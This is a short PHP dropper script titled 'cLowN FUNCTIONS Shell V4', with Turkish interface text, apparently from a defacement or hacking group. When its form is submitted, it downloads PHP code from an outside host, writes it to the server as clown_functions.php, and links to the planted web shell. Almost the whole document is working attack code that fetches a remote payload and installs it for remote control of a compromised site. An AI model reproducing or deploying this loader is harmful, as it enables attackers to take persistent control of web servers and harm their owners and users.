cLowN FUNCTIONS Shell V4

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<body bgcolor="black">
<title>
Functions Shell - Denetim
</title>
<form action="" method="get">
<center><input type="image" value="Denetle" src="http://hackerclown.org/depo/Root/giris.png" name="Giris" /></center>
</form>
<?
$dizin = $_SERVER['PHP_SELF'];
$functions_shell =  'http://'.$_SERVER['HTTP_HOST'].dirname($dizin).'/clown_functions.php';
if($_GET["Giris"]=="Denetle")
{
# Shell
$b37 = 'http://brutalcraft.pusku.com/clown_functions/clown_functions.txt';
$sh = file_get_contents($b37);
$open = fopen('clown_functions.php', 'w');
fwrite($open,$sh);
fclose($open);
if($open) {
    echo "<font color='red' face='Trebuchet MS' size='+3'>"."<center>"."Shell Denetlendi!"."<br />Guncellemeler Yapildi!"."<br /><a href='$functions_shell'>KULLAN</a>"."</center>"."</font>";
} else {
    echo "<font color='red' face='Trebuchet MS' size='+3'>"."<center>Error !</center>"."</font>";
}
}
?>
<center><font color="GREEN" size="+2" face="Trebuchet MS">Coded By cLowN</font></center>
</body>
</html>